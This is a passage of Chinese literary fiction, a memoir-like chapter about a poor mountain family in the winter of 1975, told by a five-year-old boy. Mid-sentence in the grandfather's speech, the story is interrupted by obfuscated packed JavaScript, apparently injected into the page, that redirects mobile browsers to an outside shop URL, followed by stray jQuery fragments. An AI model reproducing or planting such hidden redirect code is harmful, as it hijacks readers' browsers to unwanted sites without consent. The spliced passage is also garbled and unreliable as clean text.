一九七五年的深冬，湿冷牢牢禁锢了整座五老峰，山谷合围之下的花明村，早早坠入漫长又清寒的冬日岁月。
和北方干冽刺骨的寒风截然不同，黔东深山的寒意裹挟着终年不散的雾气，水汽钻进木屋墙体每一道缝隙，慢慢浸透皮肉，冷到骨头深处。连绵青山层层堆叠，如同天然筑起的高墙，隔绝了外界所有的讯息，整条出山土路被雨雪浸泡，泥浆结块，整整一个冬季都难以顺畅通行。村内家家户户都是早年夯筑而成的黄泥竹篾木屋，风吹日晒数十年之后，墙面裂出细密蜿蜒的纹路，凛冽的山风穿过裂口，入夜之后呜呜作响，像是山谷恒久不绝的轻叹。
我居住的这间老屋，是爷爷林守田青壮年亲手伐木、夯土、架梁修建起来的。后山杉木打造的房架结实稳固，却终究抵御不住时节轮回的寒冬。隆冬降临之后，屋内与屋外温差微弱，整间屋子唯一的热源，只剩下堂屋正中开凿出来一方老旧火塘。每当日色快速沉落，深山会提早陷入浓稠的黑暗，没有电灯照明，整片峡谷只剩下穿林风、夜行鸟兽细碎的啼叫，还有家家户户火塘柴火燃烧时噼啪细碎的声响，拼凑成山村冬日固定的底色。
每一个黄昏到来，爷爷都会坐在火塘旁低矮的木凳上，沉默地抽着陪伴半生的旱烟杆。这支烟杆被数十年的掌心反复摩挲，木质杆身乌黑温润，黄铜烟锅常年被烟火熏烤，沉淀出厚重暗沉的色泽。爷爷生来不善言辞，一辈子被田地与家事重压，习惯把所有委屈、疲惫与孤单尽数藏在心底。春耕开荒、秋日收粮、上山砍柴、修补坍塌的田埂，他一生固守几亩薄田，从来不会随口倾诉苦难，所有难熬的光景，全部选择独自默默熬过去。淡青色的烟雾缓缓向上飘散，混着干柴灰烬质朴的味道，填满低矮的屋梁之下，构成我五岁童年记忆里，最安稳踏实的画面。
房梁悬挂一盏老旧煤油灯，灯芯刻意调得纤细弱小，一圈昏黄狭小的光晕，仅仅能够照亮母亲手边一小块劳作的空间。母亲王秀莲终日守在这片光亮之中，日复一日埋头纳鞋底，缝补一件又一件破旧的旧衣裳。常年冷水劳作、没完没了的农活压榨之下，她一双手布满纵横交错的干裂伤口，寒冬时节裂口反复渗出血珠，纹路缝隙里嵌着长年洗不干净的黄泥。在七十年代物资极度匮乏的山村，添置一身新布料做的新衣是一件奢侈的奢望，一家人一年四季的穿戴，只能依靠不断缝补勉强将就。我的衣裳补丁层层叠叠，布料洗得发白发硬，在同龄的山村孩童之间，永远是最为寒酸破旧的那一身。
那一年我刚满五岁，村里人习惯唤我山娃，大名林山极少有人特意提起。我蜷缩在靠墙的木板床上，裹着一床厚重却常年受潮的旧棉被，不敢大幅度翻身挪动。被褥常年缺少完整的日晒，吸纳了山谷挥散不去的潮气，盖在身上沉甸甸的，根本挡不住穿透木屋墙体的冷风。屋外山风冲撞杉木梁柱，老旧的木构件时不时发出轻微的吱呀响动，整座老屋仿佛在凛冽寒风之中，微微摇晃着撑过漫长寒冬。
母亲停下来回穿梭的针线，抬眼望向门外彻底被夜色吞没的山林，绵长地叹了一口气。
“今年冬天来得太早，寒气太重，往后一段日子，只会越发难熬。”
爷爷抬手，把烟锅积攒的烟灰轻轻磕进火塘残存的炭火之中，被岁月打磨沙哑的嗓音缓缓响起。
“山里过日子，本就是一个熬字。熬过寒冬回暖开春，一切艰难自然会
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17703098|208252||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
平缓下来。”
熬，是所有花明村村民信奉一辈子的生存信条。熬过风雪漫天的深冬，熬过收成微薄的荒年，熬过日复一日拮据清贫的日常，扛下眼前所有的苦楚，才能平稳走完一年又一年。五岁的我尚且参悟不透命运层面深奥的道理，只是懵懂清晰地察觉到，自家日子窘迫拮据，群山锁住眼界，泥泞山路困住了所有人向外奔赴的出路。
纵使生活处处遍布清贫的难处，狭小木屋之中跳动的炭火、默默守候的爷爷、日夜操劳不休的母亲，缠绕不散的人间烟火，依旧能让年幼的我心底生出落地的安稳。
安静沉寂流淌片刻，母亲再次开口，言语之中带着现实生活考量。
“等到来年山娃年纪再长大一些，不能整日漫无目的地在山野乱跑，需要慢慢学着分担农活，早早懂事，才能跟上山里过日子的节奏。”
爷爷缓缓抬起布满苍老褶皱的眼眸，视线轻轻落在床铺蜷缩的我的身上，语气厚重悠远，藏着往后漫长岁月的期许。
“山里生长的孩子，根牢牢扎在泥土之中。往后若是有幸走到很远的世间，无论走得多高多远，永远不要忘记自己生根长大的这片山谷。”
彼时年纪尚且幼小，我完全读懂不了这句话沉甸甸的分量。视野之内只有四面合围连绵不绝的青山，脚下无边无际的黄泥梯田，年少狭隘的认知笃定地认为，我终将复刻祖辈一成不变的人生，一辈子禁锢在狭长闭塞的山坳里面。
往后数十年岁月缓缓走过，我逃离深山、奔赴城市、拥有体面的生活之后才猛然醒悟：年少拼尽全力想要挣脱的群山牢笼，最终变成了往后无数个深夜里，心底最想要奔赴回去的温柔故土。